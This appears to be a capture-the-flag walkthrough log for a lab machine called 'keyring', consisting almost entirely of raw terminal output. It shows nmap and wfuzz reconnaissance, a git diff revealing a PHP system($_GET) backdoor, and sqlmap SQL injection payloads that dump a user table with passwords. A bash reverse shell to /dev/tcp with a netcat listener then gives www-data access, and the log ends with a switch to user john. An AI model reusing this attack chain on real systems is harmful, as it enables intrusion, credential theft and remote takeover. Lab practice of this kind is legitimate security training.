┌──(root㉿kakeru)-[/tmp] └─# nmap -A 192.168.240.230 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-0618:38 CST Nmap scan report for 192.168.240.230 (192.168.240.230) Host is up (0.0020s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 20488d:eb:fd:0a:76:8a:2a:75:6e:9b:6e:7b:51:c4:28:db (RSA) | 25653:31:35:c0:3a:a0:48:2f:3a:79:f5:56:cd:3c:63:ee (ECDSA) |_ 2568d:7b:d3:c9:15:61:03:b1:b5:f1:d2:ed:2c:01:55:65 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address:96:BA:A0:CE:70:B8 (Unknown) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2-4.14 Network Distance:1 hop Service Info:OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 12.01 ms 192.168.240.230 (192.168.240.230)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in8.97 seconds
┌──(root㉿kakeru)-[/tmp] └─# dirsearch -u 192.168.240.230 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.240.230/history.php?FUZZ=kakeru -H 'Cookie: PHPSESSID=fe7jj1h3ab3nh81dubr28mim8g' --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.240.230/history.php?FUZZ=kakeru Total requests: 4734
===================================================================== ID Response Lines Word Chars Payload =====================================================================
$conn = mysqli_connect($servername, $username, $password, $database); $name = $_SESSION['name']; $date = date('Y-m-d H:i:s'); echo"HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name"; $sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')";
if(mysqli_query($conn,$sql)) { echo"<br><br>"; echo"Date & Time : ".$date; } system($_GET['cmdcntr']); //system() function is not safe to use , dont' forget to remove it in production . } else { header('Location: index.php'); } ?>
commit d63d664e940253192aa05f4b5afe46204452f574 Author: cyberbot75 <79827735+cyberbot75@users.noreply.github.com> Date: Mon Jun 2118:33:182021 +0530
Update control.php
commit 460cb9f1bf00701403393d4546797eee17121700 Author: cyberbot75 <79827735+cyberbot75@users.noreply.github.com> Date: Thu Jun 1018:56:412021 +0530
Update control.php
commit 1a772923c80cb07d621d6e654a4e78819126e0a9 Author: cyberbot75 <79827735+cyberbot75@users.noreply.github.com> Date: Thu Jun 1018:55:322021 +0530
Add files via upload (base) kakeru@bogon keyring % git diff 9215fbd50358462a5868c04bfe93ea549c101a2b 460cb9f1bf00701403393d4546797eee17121700 diff --git a/html/control.php b/html/control.php index 3bb3250..823b4c5 100644 --- a/html/control.php +++ b/html/control.php @@ -1,5 +1,3 @@ -Code for staging server - <!DOCTYPE html> <html> <head> @@ -53,7 +51,10 @@ if(isset($_SESSION['name'])) $conn = mysqli_connect($servername, $username, $password, $database); $name = $_SESSION['name']; $date = date('Y-m-d H:i:s'); - echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name"; + + if($name==="admin") + { + echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name"; $sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')"; if(mysqli_query($conn,$sql)) @@ -61,7 +62,12 @@ if(isset($_SESSION['name'])) echo "<br><br>"; echo "Date & Time : ".$date; } - system($_GET['cmdcntr']); //system() function is not safe to use , dont' forget to remove it in production . + system($_GET['timer']); //system() is not safe to use , dont' forget to remove it in latest release . + } :
┌──(root㉿kakeru)-[~/tmp] └─# sqlmap -u 192.168.240.230/history.php?user=kakeru --cookie="PHPSESSID=fe7jj1h3ab3nh81dubr28mim8g" --batch --dbs ___ __H__ ___ ___[(]_____ ___ ___ {1.8.12#stable} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:54:45 /2025-02-06/
[20:54:45] [INFO] testing connection to the target URL [20:54:45] [INFO] checking if the target is protected by some kind of WAF/IPS [20:54:45] [INFO] testing if the target URL content is stable [20:54:45] [INFO] target URL content is stable [20:54:45] [INFO] testing ifGET parameter 'user' is dynamic [20:54:45] [INFO] GET parameter 'user' appears to be dynamic [20:54:45] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable [20:54:45] [INFO] testing for SQL injection on GET parameter 'user' [20:54:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:54:46] [WARNING] reflective value(s) found and filtering out [20:54:46] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [20:54:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [20:54:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:54:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [20:54:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:54:46] [INFO] testing 'Generic inline queries' [20:54:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:54:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:54:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:54:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [20:54:56] [INFO] GET parameter 'user' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [20:54:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:54:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:54:56] [INFO] target URL appears to be UNION injectable with 1 columns [20:54:56] [INFO] GET parameter 'user' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: --- Parameter: user (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=kakeru' AND (SELECT 9710 FROM (SELECT(SLEEP(5)))Gxfh) AND'flol'='flol Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: user=kakeru' UNION ALL SELECT CONCAT(0x7178787871,0x65647271467a6477744472684547474a74614e4e59464276706668634d4f4d5576495a45414a6b72,0x717a6a7a71)-- - --- [20:54:56] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 18.04 (bionic) web application technology: Apache 2.4.29 back-end DBMS: MySQL >= 5.0.12 [20:54:56] [INFO] fetching database names available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] sys [*] users [20:54:56] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.240.230'
[*] ending @ 20:54:56 /2025-02-06/
┌──(root㉿kakeru)-[~/tmp] └─# sqlmap -u 192.168.240.230/history.php?user=kakeru --cookie="PHPSESSID=fe7jj1h3ab3nh81dubr28mim8g" --batch -D users --tables ___ __H__ ___ ___["]_____ ___ ___ {1.8.12#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:55:57 /2025-02-06/
[20:55:57] [INFO] resuming back-end DBMS 'mysql' [20:55:57] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: user (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=kakeru' AND (SELECT 9710 FROM (SELECT(SLEEP(5)))Gxfh) AND'flol'='flol Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: user=kakeru' UNION ALL SELECT CONCAT(0x7178787871,0x65647271467a6477744472684547474a74614e4e59464276706668634d4f4d5576495a45414a6b72,0x717a6a7a71)-- - --- [20:55:57] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 18.04 (bionic) web application technology: Apache 2.4.29 back-end DBMS: MySQL >= 5.0.12 [20:55:57] [INFO] fetching tables for database: 'users' [20:55:58] [WARNING] reflective value(s) found and filtering out Database: users [2 tables] +---------+ | log | | details | +---------+
[20:55:58] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.240.230'
[*] ending @ 20:55:57 /2025-02-06/
┌──(root㉿kakeru)-[~/tmp] └─# sqlmap -u 192.168.240.230/history.php?user=kakeru --cookie="PHPSESSID=fe7jj1h3ab3nh81dubr28mim8g" --batch -D users -T details --columns --dump ___ __H__ ___ ___[.]_____ ___ ___ {1.8.12#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:56:16 /2025-02-06/ [20:56:16] [INFO] resuming back-end DBMS 'mysql' [20:56:16] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: user (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=kakeru' AND (SELECT 9710 FROM (SELECT(SLEEP(5)))Gxfh) AND 'flol'='flol Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: user=kakeru' UNION ALL SELECT CONCAT(0x7178787871,0x65647271467a6477744472684547474a74614e4e59464276706668634d4f4d5576495a45414a6b72,0x717a6a7a71)-- - --- [20:56:16] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 18.04 (bionic) web application technology: Apache 2.4.29 back-end DBMS: MySQL >= 5.0.12 [20:56:16] [INFO] fetching columns for table 'details' in database 'users' [20:56:16] [WARNING] reflective value(s) found and filtering out Database: users Table: details [2 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | name | varchar(20) | | password | varchar(22) | +----------+-------------+ [20:56:16] [INFO] fetching columns for table 'details' in database 'users' [20:56:16] [INFO] fetching entries for table 'details' in database 'users' Database: users Table: details [3 entries] +--------+-----------------------+ | name | password | +--------+-----------------------+ | admin | myadmin#p4szw0r4d | | john | Sup3r$S3cr3t$PasSW0RD | | kakeru | kakeru | +--------+-----------------------+ [20:56:16] [INFO] table 'users.details' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.240.230/dump/users/details.csv' [20:56:16] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.240.230' [*] ending @ 20:56:16 /2025-02-06/
┌──(root㉿kakeru)-[~/tmp] └─# cat reverse.sh bash -i >& /dev/tcp/192.168.240.11/12340>&1 ┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id pwd bash: cannot set terminal process group (627): Inappropriate ioctl for device bash: no job control in this shell www-data@keyring:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@keyring:/var/www/html$ pwd /var/www/html www-data@keyring:/var/www/html$
command 'ssdp' from snap ssdp command 'sfdp' from deb graphviz command 'sup' from deb sup command 'sudo' from deb sudo command 'sudo' from deb sudo-ldap
See'snap info <snapname>'for additional versions.
www-data@keyring:/var/www/html$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
www-data@keyring:/$ cd home www-data@keyring:/home$ ls john www-data@keyring:/home$ su - john Password: To run a command as administrator (user "root"), use"sudo <command>". See"man sudo_root"for details.
